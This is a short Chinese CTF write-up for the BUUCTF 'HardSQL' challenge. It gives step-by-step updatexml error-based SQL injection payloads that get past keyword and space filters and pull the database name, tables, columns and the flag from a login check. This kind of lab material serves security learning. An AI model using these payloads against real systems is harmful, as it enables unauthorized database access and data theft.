[极客大挑战 2019]HardSQL

  1. SQL注入题,打开是登录窗口,抓包查看

image-20211011162901638
  1. Fuzz发现构造闭合的方式

username=admin'or'1

  1. 过滤了许多关键词

+
-
and
*
<
>
|
空格
等等
  1. 使用Burpsuite Fuzz %00 到 %ff得到空格的替代字符

image-20211011202936594
http://f57b9924-6938-4343-8229-1c27dec37eb6.node4.buuoj.cn:81/check.php?username=admin123&password=admin'or(updatexml(1,concat(0x7e,(select%00MM),0x7e),1))or'0
  1. 使用 updatexml 报错注入获取数据

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,user(),0x7e),1))or%270
image-20211012095659360
/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))or%270
image-20211012095753540
  1. 获取表名

发现会过滤等于号(=),可以用like代替

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or%27
image-20211012100353746

得到:H4rDsq1

  1. 获取字段名

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))or%27
image-20211012100747475
  1. 获取数据

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(id,username,password)from('H4rDsq1')),0x7e),1))or%27
image-20211012101037739

Right 函数查看右边部分

image-20211012101850661

Get Flag!

最后更新于

这有帮助吗?